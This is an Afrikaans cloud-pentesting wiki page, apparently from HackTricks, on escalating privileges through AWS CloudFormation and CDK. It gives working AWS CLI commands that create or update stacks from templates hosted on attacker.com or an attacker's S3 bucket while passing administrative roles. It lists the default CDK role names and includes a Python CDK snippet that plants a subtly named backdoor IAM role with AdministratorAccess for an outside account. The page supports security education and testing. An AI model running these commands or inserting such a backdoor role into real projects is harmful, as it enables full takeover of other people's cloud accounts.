# AWS - Cloudformation Privesc

{{#include ../../../../banners/hacktricks-training.md}}

## cloudformation

Vir meer inligting oor cloudformation, kyk:

{{#ref}}
../../aws-services/aws-cloudformation-and-codestar-enum.md
{{#endref}}

### `iam:PassRole`, `cloudformation:CreateStack`

'n Aanvaller met hierdie toestemmings **kan voorregte opgradeer** deur 'n **CloudFormation-stapel** te skep met 'n pasgemaakte sjabloon, gehos op hul bediener, om **aksies uit te voer onder die toestemmings van 'n gespesifiseerde rol:**
```bash
aws cloudformation create-stack --stack-name <stack-name> \
--template-url http://attacker.com/attackers.template \
--role-arn <arn-role>
```
In die volgende bladsy het jy 'n **uitbuiting voorbeeld** met die bykomende toestemming **`cloudformation:DescribeStacks`**:

{{#ref}}
iam-passrole-cloudformation-createstack-and-cloudformation-describestacks.md
{{#endref}}

**Potensiële Impak:** Privesc na die cloudformation diensrol wat gespesifiseer is.

### `iam:PassRole`, (`cloudformation:UpdateStack` | `cloudformation:SetStackPolicy`)

In hierdie geval kan jy 'n **bestaande cloudformation stapel** misbruik om dit op te dateer en voorregte te verhoog soos in die vorige scenario:
```bash
aws cloudformation update-stack \
--stack-name privesc \
--template-url https://privescbucket.s3.amazonaws.com/IAMCreateUserTemplate.json \
--role arn:aws:iam::91029364722:role/CloudFormationAdmin2 \
--capabilities CAPABILITY_IAM \
--region eu-west-1
```
Die `cloudformation:SetStackPolicy` toestemming kan gebruik word om **jouself `UpdateStack` toestemming** oor 'n stapel te gee en die aanval uit te voer.

**Potensiële Impak:** Privesc na die cloudformation diensrol wat gespesifiseer is.

### `cloudformation:UpdateStack` | `cloudformation:SetStackPolicy`

As jy hierdie toestemming het maar **geen `iam:PassRole`** nie, kan jy steeds **die stapels** wat gebruik word opdateer en die **IAM Rolle wat hulle reeds aangeheg het** misbruik. Kyk na die vorige afdeling vir 'n voorbeeld van 'n uitbuiting (moet net nie enige rol in die opdatering aandui nie).

Die `cloudformation:SetStackPolicy` toestemming kan gebruik word om **jouself `UpdateStack` toestemming** oor 'n stapel te gee en die aanval uit te voer.

**Potensiële Impak:** Privesc na die cloudformation diensrol wat reeds aangeheg is.

### `iam:PassRole`,((`cloudformation:CreateChangeSet`, `cloudformation:ExecuteChangeSet`) | `cloudformation:SetStackPolicy`)

'n Aanvaller met toestemmings om **'n rol oor te dra en 'n ChangeSet te skep & uit te voer** kan **'n nuwe cloudformation stapel skep/opdateer en die cloudformation diensrolle** misbruik net soos met die CreateStack of UpdateStack.

Die volgende uitbuiting is 'n **variatie van die**[ **CreateStack een**](#iam-passrole-cloudformation-createstack) wat die **ChangeSet toestemmings** gebruik om 'n stapel te skep.
```bash
aws cloudformation create-change-set \
--stack-name privesc \
--change-set-name privesc \
--change-set-type CREATE \
--template-url https://privescbucket.s3.amazonaws.com/IAMCreateUserTemplate.json \
--role arn:aws:iam::947247140022:role/CloudFormationAdmin \
--capabilities CAPABILITY_IAM \
--region eu-west-1

echo "Waiting 2 mins to change the stack"
sleep 120

aws cloudformation execute-change-set \
--change-set-name privesc \
--stack-name privesc \
--region eu-west-1

echo "Waiting 2 mins to execute the stack"
sleep 120

aws cloudformation describe-stacks \
--stack-name privesc \
--region eu-west-1
```
Die `cloudformation:SetStackPolicy` toestemming kan gebruik word om **jouself `ChangeSet` toestemmings** oor 'n stap te gee en die aanval uit te voer.

**Potensiële Impak:** Privesc na cloudformation diensrolle.

### (`cloudformation:CreateChangeSet`, `cloudformation:ExecuteChangeSet`) | `cloudformation:SetStackPolicy`)

Dit is soos die vorige metode sonder om **IAM rolle** oor te dra, so jy kan net **alreeds aangehegte eenhede misbruik**, net die parameter aanpas:
```
--change-set-type UPDATE
```
**Potensiële Impak:** Privesc na die cloudformation diensrol wat reeds aangeheg is.

### `iam:PassRole`,(`cloudformation:CreateStackSet` | `cloudformation:UpdateStackSet`)

'n Aanvaller kan hierdie toestemmings misbruik om StackSets te skep/op te dateer om arbitrêre cloudformation rolle te misbruik.

**Potensiële Impak:** Privesc na cloudformation diensrolle.

### `cloudformation:UpdateStackSet`

'n Aanvaller kan hierdie toestemming misbruik sonder die passRole toestemming om StackSets op te dateer om die aangehegte cloudformation rolle te misbruik.

**Potensiële Impak:** Privesc na die aangehegte cloudformation rolle.

## AWS CDK

Die AWS cdk is 'n hulpmiddel wat gebruikers toelaat om hul infrastruktuur-as-kode in tale te definieer waarmee hulle reeds bekend is, sowel as om maklik gedeeltes te hergebruik. Die CDK omskakel dan die hoëvlak kode (bv. python) in Cloudformation sjablone (yaml of json).

Om die CDK te gebruik, moet 'n administratiewe gebruiker eers die rekening bootstrap, wat verskeie IAM rolle skep, insluitend die *exec rol*, wat \*/\* toestemmings het. Hierdie rolle volg die naamstruktuur `cdk-<qualifier>-<name>-<account-id>-<region>`. Bootstrapping moet een keer per streek per rekening gedoen word.

Standaard het CDK gebruikers nie toegang om die rolle wat nodig is om die CDK te gebruik, te lys nie, wat beteken dat jy dit handmatig moet bepaal. As jy 'n ontwikkelaar se masjien of 'n CI/CD node kompromitteer, kan hierdie rolle aanvaar word om jouself die vermoë te gee om CFN sjablone te ontplooi, met die `cfn-exec` rol om CFN toe te laat om enige hulpbronne te ontplooi, wat die rekening volledig kompromitteer.

### Bepaling van die rolname

As jy `cloudformation:DescribeStacks` het, is die rolle gedefinieer in 'n stap wat `CDKToolkit` genoem word, en jy kan die name daaruit trek.

As jy op 'n masjien is wat gebruik is om CDK projekte te bou en te ontplooi, kan jy dit uit `cdk.out/manafest.json` in die projek se wortelgids trek.

Jy kan ook 'n goeie raaiskoot maak oor wat hulle is. `qualifier` is 'n string wat by die rolle gevoeg word wat toelaat dat verskeie instansies van die CDK bootstrap gelyktydig ontplooi kan word, maar die standaardwaarde is hard-gecodeer na `hnb659fds`.
```
# Defaults
cdk-hnb659fds-cfn-exec-role-<account-id>-<region>
cdk-hnb659fds-deploy-role-<account-id>-<region>
cdk-hnb659fds-file-publishing-role-<account-id>-<region>
cdk-hnb659fds-image-publishing-role-<account-id>-<region>
cdk-hnb659fds-lookup-role-<account-id>-<region>
```
### Voeg kwaadwillige kode by die projekbron

As jy na die projekbron kan skryf, maar dit nie self kan ontplooi nie (byvoorbeeld, die ontwikkelaar ontplooi die kode via CI/CD, nie die plaaslike masjien nie), kan jy steeds die omgewing kompromenteer deur kwaadwillige hulpbronne aan die stapel toe te voeg. Die volgende voeg 'n IAM-rol by wat deur 'n aanvallerrekening aanvaar kan word aan 'n python CDK-projek.
```python
class CdkTestStack(Stack):
def __init__(self, scope: Construct, construct_id: str, **kwargs) -> None:
super().__init__(scope, construct_id, **kwargs)

# ----------
# Some existing code.....
# ----------

role = iam.Role(
self,
"cdk-backup-role", # Role name, make it something subtle
assumed_by=iam.AccountPrincipal("1234567890"), # Account to allow to assume the role
managed_policies=[
iam.ManagedPolicy.from_aws_managed_policy_name("AdministratorAccess") # Policies to attach, in this case AdministratorAccess
],
)
```
## Verwysings

- [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/)
- [https://github.com/aws/aws-cdk-cli/blob/main/packages/aws-cdk/lib/api/bootstrap/bootstrap-template.yaml](https://github.com/aws/aws-cdk-cli/blob/main/packages/aws-cdk/lib/api/bootstrap/bootstrap-template.yaml)

{{#include ../../../../banners/hacktricks-training.md}}
